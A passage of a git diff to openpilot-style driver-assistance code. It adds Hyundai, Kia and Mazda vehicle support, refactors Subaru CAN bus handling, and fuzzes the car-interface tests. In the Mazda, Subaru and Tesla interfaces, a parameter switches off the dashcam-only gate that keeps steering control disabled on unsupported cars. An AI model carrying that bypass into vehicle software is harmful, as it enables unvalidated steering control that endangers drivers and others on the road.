CAR.KIA_NIRO_PHEV, CAR.KIA_NIRO_HEV_2021, CAR.SONATA_HYBRID, CAR.KONA_HEV, CAR.IONIQ, CAR.IONIQ_HEV_2022, CAR.SANTA_FE_HEV_2022, CAR.SANTA_FE_PHEV_2022, CAR.IONIQ_PHEV_2019, CAR.TUCSON_HYBRID_4TH_GEN, CAR.KIA_SPORTAGE_HYBRID_5TH_GEN, CAR.KIA_SORENTO_PHEV_4TH_GEN, CAR.KIA_K5_HEV_2020, CAR.KIA_NIRO_HEV_2ND_GEN} # these cars use a different gas signal -EV_CAR = {CAR.IONIQ_EV_2020, CAR.IONIQ_EV_LTD, CAR.KONA_EV, CAR.KIA_NIRO_EV, CAR.KIA_NIRO_EV_2ND_GEN, CAR.KONA_EV_2022, CAR.KIA_EV6, CAR.IONIQ_5, CAR.GENESIS_GV60_EV_1ST_GEN} +EV_CAR = {CAR.IONIQ_EV_2020, CAR.IONIQ_EV_LTD, CAR.KONA_EV, CAR.KIA_NIRO_EV, CAR.KIA_NIRO_EV_2ND_GEN, CAR.KONA_EV_2022, CAR.KIA_EV6, CAR.IONIQ_5, CAR.IONIQ_6, CAR.GENESIS_GV60_EV_1ST_GEN} # these cars require a special panda safety mode due to missing counters and checksums in the messages LEGACY_SAFETY_MODE_CAR = {CAR.HYUNDAI_GENESIS, CAR.IONIQ_EV_2020, CAR.IONIQ_EV_LTD, CAR.IONIQ_PHEV, CAR.IONIQ, CAR.KONA_EV, CAR.KIA_SORENTO, CAR.SONATA_LF, CAR.KIA_OPTIMA_G4, CAR.KIA_OPTIMA_G4_FL, CAR.VELOSTER, @@ -1844,6 +1968,7 @@ DBC = { CAR.TUCSON_4TH_GEN: dbc_dict('hyundai_canfd', None), CAR.TUCSON_HYBRID_4TH_GEN: dbc_dict('hyundai_canfd', None), CAR.IONIQ_5: dbc_dict('hyundai_canfd', None), + CAR.IONIQ_6: dbc_dict('hyundai_canfd', None), CAR.SANTA_CRUZ_1ST_GEN: dbc_dict('hyundai_canfd', None), CAR.KIA_SPORTAGE_5TH_GEN: dbc_dict('hyundai_canfd', None), CAR.KIA_SPORTAGE_HYBRID_5TH_GEN: dbc_dict('hyundai_canfd', None), @@ -1854,4 +1979,5 @@ DBC = { CAR.KIA_NIRO_HEV_2ND_GEN: dbc_dict('hyundai_canfd', None), CAR.KIA_NIRO_EV_2ND_GEN: dbc_dict('hyundai_canfd', None), CAR.GENESIS_GV80: dbc_dict('hyundai_canfd', None), + CAR.KIA_CARNIVAL_4TH_GEN: dbc_dict('hyundai_canfd', None), } diff --git a/selfdrive/car/interfaces.py b/selfdrive/car/interfaces.py index de05721f0..f2c643775 100644 --- a/selfdrive/car/interfaces.py +++ b/selfdrive/car/interfaces.py @@ -131,8 +131,7 @@ class CarInterfaceBase(ABC): def get_steer_feedforward_function(self): return self.get_steer_feedforward_default - @staticmethod - def torque_from_lateral_accel_linear(lateral_accel_value: float, torque_params: car.CarParams.LateralTorqueTuning, + def torque_from_lateral_accel_linear(self, lateral_accel_value: float, torque_params: car.CarParams.LateralTorqueTuning, lateral_accel_error: float, lateral_accel_deadzone: float, friction_compensation: bool) -> float: # The default is a linear relationship between torque and lateral acceleration (accounting for road roll and steering friction) friction = get_friction(lateral_accel_error, lateral_accel_deadzone, FRICTION_THRESHOLD, torque_params, friction_compensation) diff --git a/selfdrive/car/isotp_parallel_query.py b/selfdrive/car/isotp_parallel_query.py index 8ab9728e5..93033126a 100644 --- a/selfdrive/car/isotp_parallel_query.py +++ b/selfdrive/car/isotp_parallel_query.py @@ -115,7 +115,13 @@ class IsoTpParallelQuery: addrs_responded.add(tx_addr) response_timeouts[tx_addr] = time.monotonic() + timeout - if not dat: + if dat is None: + continue + + # Log unexpected empty responses + if len(dat) == 0: + cloudlog.error(f"iso-tp query empty response: {tx_addr}") + request_done[tx_addr] = True continue counter = request_counter[tx_addr] diff --git a/selfdrive/car/mazda/carstate.py b/selfdrive/car/mazda/carstate.py index 944d79809..af8830895 100644 --- a/selfdrive/car/mazda/carstate.py +++ b/selfdrive/car/mazda/carstate.py @@ -38,8 +38,8 @@ class CarState(CarStateBase): ret.gearShifter = self.parse_gear_shifter(self.shifter_values.get(can_gear, None)) ret.genericToggle = bool(cp.vl["BLINK_INFO"]["HIGH_BEAMS"]) - ret.leftBlindspot = cp.vl["BSM"]["LEFT_BS1"] == 1 - ret.rightBlindspot = cp.vl["BSM"]["RIGHT_BS1"] == 1 + ret.leftBlindspot = cp.vl["BSM"]["LEFT_BS_STATUS"] != 0 + ret.rightBlindspot = cp.vl["BSM"]["RIGHT_BS_STATUS"] != 0 ret.leftBlinker, ret.rightBlinker = self.update_blinker_from_lamp(40, cp.vl["BLINK_INFO"]["LEFT_BLINK"] == 1, cp.vl["BLINK_INFO"]["RIGHT_BLINK"] == 1) @@ -151,8 +151,8 @@ class CarState(CarStateBase): ("PEDAL_GAS", "ENGINE_DATA"), ("SPEED", "ENGINE_DATA"), ("CTR", "CRZ_BTNS"), - ("LEFT_BS1", "BSM"), - ("RIGHT_BS1", "BSM"), + ("LEFT_BS_STATUS", "BSM"), + ("RIGHT_BS_STATUS", "BSM"), ] checks += [ diff --git a/selfdrive/car/mazda/interface.py b/selfdrive/car/mazda/interface.py index 443116bc1..6f1111ced 100755 --- a/selfdrive/car/mazda/interface.py +++ b/selfdrive/car/mazda/interface.py @@ -4,6 +4,7 @@ from common.conversions import Conversions as CV from selfdrive.car.mazda.values import CAR, LKAS_LIMITS from selfdrive.car import STD_CARGO_KG, scale_tire_stiffness, get_safety_config from selfdrive.car.interfaces import CarInterfaceBase +from common.params import Params ButtonType = car.CarState.ButtonEvent.Type EventName = car.CarEvent.EventName @@ -17,6 +18,7 @@ class CarInterface(CarInterfaceBase): ret.radarUnavailable = True ret.dashcamOnly = candidate not in (CAR.CX5_2022, CAR.CX9_2021) + ret.dashcamOnly = False if ret.dashcamOnly and Params().get_bool("dp_car_dashcam_mode_removal") else ret.dashcamOnly ret.steerActuatorDelay = 0.1 ret.steerLimitTimer = 0.8 diff --git a/selfdrive/car/mazda/values.py b/selfdrive/car/mazda/values.py index 3fbf34e5f..71fd9f186 100644 --- a/selfdrive/car/mazda/values.py +++ b/selfdrive/car/mazda/values.py @@ -1,4 +1,4 @@ -from dataclasses import dataclass +from dataclasses import dataclass, field from typing import Dict, List, Union from cereal import car @@ -37,7 +37,7 @@ class CAR: @dataclass class MazdaCarInfo(CarInfo): package: str = "All" - car_parts: CarParts = CarParts.common([CarHarness.mazda]) + car_parts: CarParts = field(default_factory=CarParts.common([CarHarness.mazda])) CAR_INFO: Dict[str, Union[MazdaCarInfo, List[MazdaCarInfo]]] = { @@ -70,6 +70,13 @@ FW_QUERY_CONFIG = FwQueryConfig( [StdQueries.MANUFACTURER_SOFTWARE_VERSION_REQUEST], [StdQueries.MANUFACTURER_SOFTWARE_VERSION_RESPONSE], ), + # Log responses on powertrain bus + Request( + [StdQueries.MANUFACTURER_SOFTWARE_VERSION_REQUEST], + [StdQueries.MANUFACTURER_SOFTWARE_VERSION_RESPONSE], + bus=0, + logging=True, + ), ], ) @@ -81,6 +88,7 @@ FW_VERSIONS = { (Ecu.engine, 0x7e0, None): [ b'PX2G-188K2-H\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00', b'PX2H-188K2-H\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00', + b'PX85-188K2-E\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00', b'SH54-188K2-D\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00', b'PXFG-188K2-C\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00', ], @@ -93,10 +101,12 @@ FW_VERSIONS = { (Ecu.fwdCamera, 0x706, None): [ b'GSH7-67XK2-S\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00', b'GSH7-67XK2-T\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00', + b'GSH7-67XK2-U\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00', ], (Ecu.transmission, 0x7e1, None): [ b'PYB2-21PS1-H\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00', b'SH51-21PS1-C\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00', + b'PXDL-21PS1-B\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00', b'PXFG-21PS1-A\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00', ], }, @@ -178,6 +188,7 @@ FW_VERSIONS = { (Ecu.engine, 0x7e0, None): [ b'PX23-188K2-B\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00', b'PX24-188K2-B\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00', + b'PXM4-188K2-B\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00', b'PXN8-188K2-B\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00', b'PXN8-188K2-C\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00', b'PYD7-188K2-B\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00', @@ -202,10 +213,12 @@ FW_VERSIONS = { (Ecu.fwdCamera, 0x706, None): [ b'B61L-67XK2-P\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00', b'B61L-67XK2-V\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00', + b'GSH7-67XK2-J\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00', b'GSH7-67XK2-K\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00', b'TK80-67XK2-C\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00', ], (Ecu.transmission, 0x7e1, None): [ + b'PXM4-21PS1-A\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00', b'PXM7-21PS1-A\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00', b'PXM7-21PS1-B\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00', b'PYFM-21PS1-C\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00', diff --git a/selfdrive/car/nissan/values.py b/selfdrive/car/nissan/values.py index 568c33630..d4e10e11c 100644 --- a/selfdrive/car/nissan/values.py +++ b/selfdrive/car/nissan/values.py @@ -1,4 +1,4 @@ -from dataclasses import dataclass +from dataclasses import dataclass, field from typing import Dict, List, Optional, Union from cereal import car @@ -33,7 +33,7 @@ class CAR: @dataclass class NissanCarInfo(CarInfo): package: str = "ProPILOT Assist" - car_parts: CarParts = CarParts.common([CarHarness.nissan_a]) + car_parts: CarParts = field(default_factory=CarParts.common([CarHarness.nissan_a])) CAR_INFO: Dict[str, Optional[Union[NissanCarInfo, List[NissanCarInfo]]]] = { @@ -79,8 +79,8 @@ FINGERPRINTS = { ] } -NISSAN_DIAGNOSTIC_REQUEST_KWP = bytes([uds.SERVICE_TYPE.DIAGNOSTIC_SESSION_CONTROL, 0xc0]) -NISSAN_DIAGNOSTIC_RESPONSE_KWP = bytes([uds.SERVICE_TYPE.DIAGNOSTIC_SESSION_CONTROL + 0x40, 0xc0]) +NISSAN_DIAGNOSTIC_REQUEST_KWP = bytes([uds.SERVICE_TYPE.DIAGNOSTIC_SESSION_CONTROL, 0x81]) +NISSAN_DIAGNOSTIC_RESPONSE_KWP = bytes([uds.SERVICE_TYPE.DIAGNOSTIC_SESSION_CONTROL + 0x40, 0x81]) NISSAN_VERSION_REQUEST_KWP = b'\x21\x83' NISSAN_VERSION_RESPONSE_KWP = b'\x61\x83' diff --git a/selfdrive/car/subaru/carcontroller.py b/selfdrive/car/subaru/carcontroller.py index ae3305fbe..b37c88797 100644 --- a/selfdrive/car/subaru/carcontroller.py +++ b/selfdrive/car/subaru/carcontroller.py @@ -1,7 +1,7 @@ from opendbc.can.packer import CANPacker from selfdrive.car import apply_driver_steer_torque_limits from selfdrive.car.subaru import subarucan -from selfdrive.car.subaru.values import DBC, GLOBAL_GEN2, PREGLOBAL_CARS, CarControllerParams, SubaruFlags +from selfdrive.car.subaru.values import DBC, GLOBAL_GEN2, PREGLOBAL_CARS, CanBus, CarControllerParams, SubaruFlags class CarController: @@ -36,15 +36,14 @@ class CarController: apply_steer = 0 if self.CP.carFingerprint in PREGLOBAL_CARS: - can_sends.append(subarucan.create_preglobal_steering_control(self.packer, apply_steer)) + can_sends.append(subarucan.create_preglobal_steering_control(self.packer, apply_steer, CC.latActive)) else: - can_sends.append(subarucan.create_steering_control(self.packer, apply_steer)) + can_sends.append(subarucan.create_steering_control(self.packer, apply_steer, CC.latActive)) self.apply_steer_last = apply_steer # *** alerts and pcm cancel *** - if self.CP.carFingerprint in PREGLOBAL_CARS: if self.frame % 5 == 0: # 1 = main, 2 = set shallow, 3 = set deep, 4 = resume shallow, 5 = resume deep @@ -66,7 +65,7 @@ class CarController: else: if pcm_cancel_cmd and (self.frame - self.last_cancel_frame) > 0.2: - bus = 1 if self.CP.carFingerprint in GLOBAL_GEN2 else 0 + bus = CanBus.alt if self.CP.carFingerprint in GLOBAL_GEN2 else CanBus.main can_sends.append(subarucan.create_es_distance(self.packer, CS.es_distance_msg, bus, pcm_cancel_cmd)) self.last_cancel_frame = self.frame @@ -76,9 +75,9 @@ class CarController: can_sends.append(subarucan.create_es_lkas_state(self.packer, CS.es_lkas_state_msg, CC.enabled, hud_control.visualAlert, hud_control.leftLaneVisible, hud_control.rightLaneVisible, hud_control.leftLaneDepart, hud_control.rightLaneDepart)) - + if self.CP.flags & SubaruFlags.SEND_INFOTAINMENT: - can_sends.append(subarucan.create_infotainmentstatus(self.packer, CS.es_infotainmentstatus_msg, hud_control.visualAlert)) + can_sends.append(subarucan.create_es_infotainment(self.packer, CS.es_infotainment_msg, hud_control.visualAlert)) new_actuators = actuators.copy() new_actuators.steer = self.apply_steer_last / self.p.STEER_MAX diff --git a/selfdrive/car/subaru/carstate.py b/selfdrive/car/subaru/carstate.py index 8ce31b184..189c244ca 100644 --- a/selfdrive/car/subaru/carstate.py +++ b/selfdrive/car/subaru/carstate.py @@ -4,7 +4,7 @@ from opendbc.can.can_define import CANDefine from common.conversions import Conversions as CV from selfdrive.car.interfaces import CarStateBase from opendbc.can.parser import CANParser -from selfdrive.car.subaru.values import DBC, CAR, GLOBAL_GEN2, PREGLOBAL_CARS, SubaruFlags +from selfdrive.car.subaru.values import DBC, CAR, GLOBAL_GEN2, PREGLOBAL_CARS, CanBus, SubaruFlags class CarState(CarStateBase): @@ -69,6 +69,7 @@ class CarState(CarStateBase): cp.vl["BodyInfo"]["DOOR_OPEN_FL"]]) ret.steerFaultPermanent = cp.vl["Steering_Torque"]["Steer_Error_1"] == 1 + cp_es_distance = cp_body if self.car_fingerprint in GLOBAL_GEN2 else cp_cam if self.car_fingerprint in PREGLOBAL_CARS: self.cruise_button = cp_cam.vl["ES_Distance"]["Cruise_Button"] self.ready = not cp_cam.vl["ES_DashStatus"]["Not_Ready_Startup"] @@ -76,19 +77,22 @@ class CarState(CarStateBase): ret.steerFaultTemporary = cp.vl["Steering_Torque"]["Steer_Warning"] == 1 ret.cruiseState.nonAdaptive = cp_cam.vl["ES_DashStatus"]["Conventional_Cruise"] == 1 ret.cruiseState.standstill = cp_cam.vl["ES_DashStatus"]["Cruise_State"] == 3 - ret.stockFcw = cp_cam.vl["ES_LKAS_State"]["LKAS_Alert"] == 2 + ret.stockFcw = (cp_cam.vl["ES_LKAS_State"]["LKAS_Alert"] == 1) or \ + (cp_cam.vl["ES_LKAS_State"]["LKAS_Alert"] == 2) + # 8 is known AEB, there are a few other values related to AEB we ignore + ret.stockAeb = (cp_es_distance.vl["ES_Brake"]["AEB_Status"] == 8) and \ + (cp_es_distance.vl["ES_Brake"]["Brake_Pressure"] != 0) self.es_lkas_state_msg = copy.copy(cp_cam.vl["ES_LKAS_State"]) - cp_es_distance = cp_body if self.car_fingerprint in GLOBAL_GEN2 else cp_cam self.es_distance_msg = copy.copy(cp_es_distance.vl["ES_Distance"]) self.es_dashstatus_msg = copy.copy(cp_cam.vl["ES_DashStatus"]) if self.CP.flags & SubaruFlags.SEND_INFOTAINMENT: - self.es_infotainmentstatus_msg = copy.copy(cp_cam.vl["INFOTAINMENT_STATUS"]) + self.es_infotainment_msg = copy.copy(cp_cam.vl["ES_Infotainment"]) return ret @staticmethod - def get_common_global_signals(): + def get_common_global_body_signals(): signals = [ ("Cruise_On", "CruiseControl"), ("Cruise_Activated", "CruiseControl"), @@ -107,8 +111,10 @@ class CarState(CarStateBase): return signals, checks @staticmethod - def get_global_es_distance_signals(): + def get_common_global_es_signals(): signals = [ + ("AEB_Status", "ES_Brake"), + ("Brake_Pressure", "ES_Brake"), ("COUNTER", "ES_Distance"), ("CHECKSUM", "ES_Distance"), ("Signal1", "ES_Distance"), @@ -130,7 +136,9 @@ class CarState(CarStateBase): ("Cruise_Resume", "ES_Distance"), ("Signal6", "ES_Distance"), ] + checks = [ + ("ES_Brake", 20), ("ES_Distance", 20), ] @@ -177,8 +185,8 @@ class CarState(CarStateBase): if CP.carFingerprint not in PREGLOBAL_CARS: if CP.carFingerprint not in GLOBAL_GEN2: - signals += CarState.get_common_global_signals()[0] - checks += CarState.get_common_global_signals()[1] + signals += CarState.get_common_global_body_signals()[0] + checks += CarState.get_common_global_body_signals()[1] signals += [ ("Steer_Warning", "Steering_Torque"), @@ -217,7 +225,7 @@ class CarState(CarStateBase): ("CruiseControl", 50), ] - return CANParser(DBC[CP.carFingerprint]["pt"], signals, checks, 0) + return CANParser(DBC[CP.carFingerprint]["pt"], signals, checks, CanBus.main) @staticmethod def get_cam_can_parser(CP): @@ -303,28 +311,28 @@ class CarState(CarStateBase): ] if CP.carFingerprint not in GLOBAL_GEN2: - signals += CarState.get_global_es_distance_signals()[0] - checks += CarState.get_global_es_distance_signals()[1] + signals += CarState.get_common_global_es_signals()[0] + checks += CarState.get_common_global_es_signals()[1] if CP.flags & SubaruFlags.SEND_INFOTAINMENT: signals += [ - ("COUNTER", "INFOTAINMENT_STATUS"), - ("CHECKSUM", "INFOTAINMENT_STATUS"), - ("LKAS_State_Infotainment", "INFOTAINMENT_STATUS"), - ("LKAS_Blue_Lines", "INFOTAINMENT_STATUS"), - ("Signal1", "INFOTAINMENT_STATUS"), - ("Signal2", "INFOTAINMENT_STATUS"), + ("COUNTER", "ES_Infotainment"), + ("CHECKSUM", "ES_Infotainment"), + ("LKAS_State_Infotainment", "ES_Infotainment"), + ("LKAS_Blue_Lines", "ES_Infotainment"), + ("Signal1", "ES_Infotainment"), + ("Signal2", "ES_Infotainment"), ] - checks.append(("INFOTAINMENT_STATUS", 10)) + checks.append(("ES_Infotainment", 10)) - return CANParser(DBC[CP.carFingerprint]["pt"], signals, checks, 2) + return CANParser(DBC[CP.carFingerprint]["pt"], signals, checks, CanBus.camera) @staticmethod def get_body_can_parser(CP): if CP.carFingerprint in GLOBAL_GEN2: - signals, checks = CarState.get_common_global_signals() - signals += CarState.get_global_es_distance_signals()[0] - checks += CarState.get_global_es_distance_signals()[1] - return CANParser(DBC[CP.carFingerprint]["pt"], signals, checks, 1) + signals, checks = CarState.get_common_global_body_signals() + signals += CarState.get_common_global_es_signals()[0] + checks += CarState.get_common_global_es_signals()[1] + return CANParser(DBC[CP.carFingerprint]["pt"], signals, checks, CanBus.alt) return None diff --git a/selfdrive/car/subaru/interface.py b/selfdrive/car/subaru/interface.py index f7698dbe7..f1cbfac6e 100644 --- a/selfdrive/car/subaru/interface.py +++ b/selfdrive/car/subaru/interface.py @@ -4,7 +4,7 @@ from panda import Panda from selfdrive.car import STD_CARGO_KG, get_safety_config from selfdrive.car.interfaces import CarInterfaceBase from selfdrive.car.subaru.values import CAR, GLOBAL_GEN2, PREGLOBAL_CARS, SubaruFlags - +from common.params import Params class CarInterface(CarInterfaceBase): @@ -13,6 +13,7 @@ class CarInterface(CarInterfaceBase): ret.carName = "subaru" ret.radarUnavailable = True ret.dashcamOnly = candidate in PREGLOBAL_CARS + ret.dashcamOnly = False if ret.dashcamOnly and Params().get_bool("dp_car_dashcam_mode_removal") else ret.dashcamOnly ret.autoResumeSng = False # Detect infotainment message sent from the camera diff --git a/selfdrive/car/subaru/subarucan.py b/selfdrive/car/subaru/subarucan.py index bc9bf4c0a..0c32a150d 100644 --- a/selfdrive/car/subaru/subarucan.py +++ b/selfdrive/car/subaru/subarucan.py @@ -1,12 +1,13 @@ from cereal import car +from selfdrive.car.subaru.values import CanBus VisualAlert = car.CarControl.HUDControl.VisualAlert -def create_steering_control(packer, apply_steer): +def create_steering_control(packer, apply_steer, steer_req): values = { "LKAS_Output": apply_steer, - "LKAS_Request": 1 if apply_steer != 0 else 0, + "LKAS_Request": steer_req, "SET_1": 1 } return packer.make_can_msg("ES_LKAS", 0, values) @@ -102,7 +103,7 @@ def create_es_lkas_state(packer, es_lkas_state_msg, enabled, visual_alert, left_ values["LKAS_Left_Line_Visible"] = int(left_line) values["LKAS_Right_Line_Visible"] = int(right_line) - return packer.make_can_msg("ES_LKAS_State", 0, values) + return packer.make_can_msg("ES_LKAS_State", CanBus.main, values) def create_es_dashstatus(packer, dashstatus_msg): @@ -140,12 +141,12 @@ def create_es_dashstatus(packer, dashstatus_msg): if values["LKAS_State_Msg"] in (2, 3): values["LKAS_State_Msg"] = 0 - return packer.make_can_msg("ES_DashStatus", 0, values) + return packer.make_can_msg("ES_DashStatus", CanBus.main, values) -def create_infotainmentstatus(packer, infotainmentstatus_msg, visual_alert): +def create_es_infotainment(packer, es_infotainment_msg, visual_alert): # Filter stock LKAS disabled and Keep hands on steering wheel OFF alerts - values = {s: infotainmentstatus_msg[s] for s in [ + values = {s: es_infotainment_msg[s] for s in [ "CHECKSUM", "COUNTER", "LKAS_State_Infotainment", @@ -164,7 +165,7 @@ def create_infotainmentstatus(packer, infotainmentstatus_msg, visual_alert): if visual_alert == VisualAlert.fcw: values["LKAS_State_Infotainment"] = 2 - return packer.make_can_msg("INFOTAINMENT_STATUS", 0, values) + return packer.make_can_msg("ES_Infotainment", CanBus.main, values) # *** Subaru Pre-global *** @@ -174,14 +175,14 @@ def subaru_preglobal_checksum(packer, values, addr): return (sum(dat[:7])) % 256 -def create_preglobal_steering_control(packer, apply_steer): +def create_preglobal_steering_control(packer, apply_steer, steer_req): values = { "LKAS_Command": apply_steer, - "LKAS_Active": 1 if apply_steer != 0 else 0 + "LKAS_Active": steer_req, } values["Checksum"] = subaru_preglobal_checksum(packer, values, "ES_LKAS") - return packer.make_can_msg("ES_LKAS", 0, values) + return packer.make_can_msg("ES_LKAS", CanBus.main, values) def create_preglobal_es_distance(packer, cruise_button, es_distance_msg): @@ -208,4 +209,4 @@ def create_preglobal_es_distance(packer, cruise_button, es_distance_msg): values["Cruise_Button"] = cruise_button values["Checksum"] = subaru_preglobal_checksum(packer, values, "ES_Distance") - return packer.make_can_msg("ES_Distance", 0, values) + return packer.make_can_msg("ES_Distance", CanBus.main, values) diff --git a/selfdrive/car/subaru/values.py b/selfdrive/car/subaru/values.py index 12367d9b5..0e3f2e8d0 100644 --- a/selfdrive/car/subaru/values.py +++ b/selfdrive/car/subaru/values.py @@ -1,11 +1,11 @@ -from dataclasses import dataclass -from enum import IntFlag +from dataclasses import dataclass, field +from enum import Enum, IntFlag from typing import Dict, List, Union from cereal import car from panda.python import uds from selfdrive.car import dbc_dict -from selfdrive.car.docs_definitions import CarHarness, CarInfo, CarParts +from selfdrive.car.docs_definitions import CarFootnote, CarHarness, CarInfo, CarParts, Column from selfdrive.car.fw_query_definitions import FwQueryConfig, Request, StdQueries, p16 Ecu = car.CarParams.Ecu @@ -34,6 +34,12 @@ class SubaruFlags(IntFlag): SEND_INFOTAINMENT = 1 +class CanBus: + main = 0 + alt = 1 + camera = 2 + + class CAR: # Global platform ASCENT = "SUBARU ASCENT LIMITED 2019" @@ -50,10 +56,17 @@ class CAR: OUTBACK_PREGLOBAL_2018 = "SUBARU OUTBACK 2018 - 2019" +class Footnote(Enum): + GLOBAL = CarFootnote( + "In the non-US market, openpilot requires the car to come equipped with EyeSight with Lane Keep Assistance.", + Column.PACKAGE) + + @dataclass class SubaruCarInfo(CarInfo): package: str = "EyeSight Driver Assistance" - car_parts: CarParts = CarParts.common([CarHarness.subaru_a]) + car_parts: CarParts = field(default_factory=CarParts.common([CarHarness.subaru_a])) + footnotes: List[Enum] = field(default_factory=lambda: [Footnote.GLOBAL]) CAR_INFO: Dict[str, Union[SubaruCarInfo, List[SubaruCarInfo]]] = { diff --git a/selfdrive/car/tesla/interface.py b/selfdrive/car/tesla/interface.py index afd3fb3be..16824c03c 100755 --- a/selfdrive/car/tesla/interface.py +++ b/selfdrive/car/tesla/interface.py @@ -4,7 +4,7 @@ from panda import Panda from selfdrive.car.tesla.values import CANBUS, CAR from selfdrive.car import STD_CARGO_KG, get_safety_config from selfdrive.car.interfaces import CarInterfaceBase - +from common.params import Params class CarInterface(CarInterfaceBase): @staticmethod @@ -15,6 +15,7 @@ class CarInterface(CarInterfaceBase): # so the steering behaves like autopilot. This is not # how openpilot should be, hence dashcamOnly ret.dashcamOnly = True + ret.dashcamOnly = False if ret.dashcamOnly and Params().get_bool("dp_car_dashcam_mode_removal") else ret.dashcamOnly ret.steerControlType = car.CarParams.SteerControlType.angle diff --git a/selfdrive/car/tests/test_car_interfaces.py b/selfdrive/car/tests/test_car_interfaces.py index 7198218d6..005ea114f 100755 --- a/selfdrive/car/tests/test_car_interfaces.py +++ b/selfdrive/car/tests/test_car_interfaces.py @@ -1,31 +1,55 @@ #!/usr/bin/env python3 import math import unittest +import hypothesis.strategies as st +from hypothesis import given, settings import importlib from parameterized import parameterized from cereal import car +from common.realtime import DT_CTRL from selfdrive.car import gen_empty_fingerprint from selfdrive.car.car_helpers import interfaces -from selfdrive.car.fingerprints import _FINGERPRINTS as FINGERPRINTS, all_known_cars +from selfdrive.car.fingerprints import all_known_cars +from selfdrive.test.fuzzy_generation import DrawType, FuzzyGenerator + + +def get_fuzzy_car_interface_args(draw: DrawType) -> dict: + # Fuzzy CAN fingerprints and FW versions to test more states of the CarInterface + fingerprint_strategy = st.fixed_dictionaries({key: st.dictionaries(st.integers(min_value=0, max_value=0x800), + st.integers(min_value=0, max_value=64)) for key in + gen_empty_fingerprint()}) + + # just the most important fields + car_fw_strategy = st.lists(st.fixed_dictionaries({ + 'ecu': st.sampled_from(list(car.CarParams.Ecu.schema.enumerants.keys())), + # TODO: only use reasonable addrs for the paired ecu and brand/platform + 'address': st.integers(min_value=0, max_value=0x800), + })) + + params_strategy = st.fixed_dictionaries({ + 'fingerprints': fingerprint_strategy, + 'car_fw': car_fw_strategy, + 'experimental_long': st.booleans(), + }) + + params: dict = draw(params_strategy) + params['car_fw'] = [car.CarParams.CarFw(**fw) for fw in params['car_fw']] + return params class TestCarInterfaces(unittest.TestCase): - @parameterized.expand([(car,) for car in all_known_cars()]) - def test_car_interfaces(self, car_name): - if car_name in FINGERPRINTS: - fingerprint = FINGERPRINTS[car_name][0] - else: - fingerprint = {} - + @parameterized.expand([(car,) for car in sorted(all_known_cars())]) + @settings(max_examples=5) + @given(data=st.data()) + def test_car_interfaces(self, car_name, data): CarInterface, CarController, CarState = interfaces[car_name] - fingerprints = gen_empty_fingerprint() - fingerprints.update({k: fingerprint for k in fingerprints.keys()}) - car_fw = [] + args = get_fuzzy_car_interface_args(data.draw) - car_params = CarInterface.get_params(car_name, fingerprints, car_fw, experimental_long=False, docs=False) + car_params = CarInterface.get_params(car_name, args['fingerprints'], args['car_fw'], + experimental_long=args['experimental_long'], docs=False) car_interface = CarInterface(car_params, CarController, CarState) assert car_params assert car_interface @@ -56,19 +80,23 @@ class TestCarInterfaces(unittest.TestCase): elif tune.which() == 'indi': self.assertTrue(len(tune.indi.outerLoopGainV)) + cc_msg = FuzzyGenerator.get_random_msg(data.draw, car.CarControl, real_floats=True) # Run car interface - CC = car.CarControl.new_message() + now_nanos = 0 + CC = car.CarControl.new_message(**cc_msg) for _ in range(10): car_interface.update(CC, []) - car_interface.apply(CC, 0) - car_interface.apply(CC, 0) + car_interface.apply(CC, now_nanos) + car_interface.apply(CC, now_nanos) + now_nanos += DT_CTRL * 1e9 # 10 ms - CC = car.CarControl.new_message() + CC = car.CarControl.new_message(**cc_msg) CC.enabled = True for _ in range(10): car_interface.update(CC, []) - car_interface.apply(CC, 0) - car_interface.apply(CC, 0) + car_interface.apply(CC, now_nanos) + car_interface.apply(CC, now_nanos) + now_nanos += DT_CTRL * 1e9 # 10ms # Test radar interface RadarInterface = importlib.import_module(f'selfdrive.car.{car_params.carName}.radar_interface').RadarInterface diff --git a/selfdrive/car/torque_data/override.yaml b/selfdrive/car/torque_data/override.yaml index afd4624a8..62d39171f 100644 --- a/selfdrive/car/torque_data/override.yaml +++ b/selfdrive/car/torque_data/override.yaml @@ -19,6 +19,7 @@ TESLA AP2 MODEL S: [.nan, 2.5, .nan] FORD BRONCO SPORT 1ST GEN: [.nan, 1.5, .nan] FORD ESCAPE 4TH GEN: [.nan, 1.5, .nan] FORD EXPLORER 6TH GEN: [.nan, 1.5, .nan] +FORD F-150 14TH GEN: [.nan, 1.5, .nan] FORD FOCUS 4TH GEN: [.nan, 1.5, .nan] FORD MAVERICK 1ST GEN: [.nan, 1.5, .nan] ### @@ -29,7 +30,7 @@ COMMA BODY: [.nan, 1000, .nan] # Totally new cars RAM 1500 5TH GEN: [2.0, 2.0, 0.05] RAM HD 5TH GEN: [1.4, 1.4, 0.05] -SUBARU OUTBACK 6TH GEN: [2.3, 2.3, 0.11] +SUBARU OUTBACK 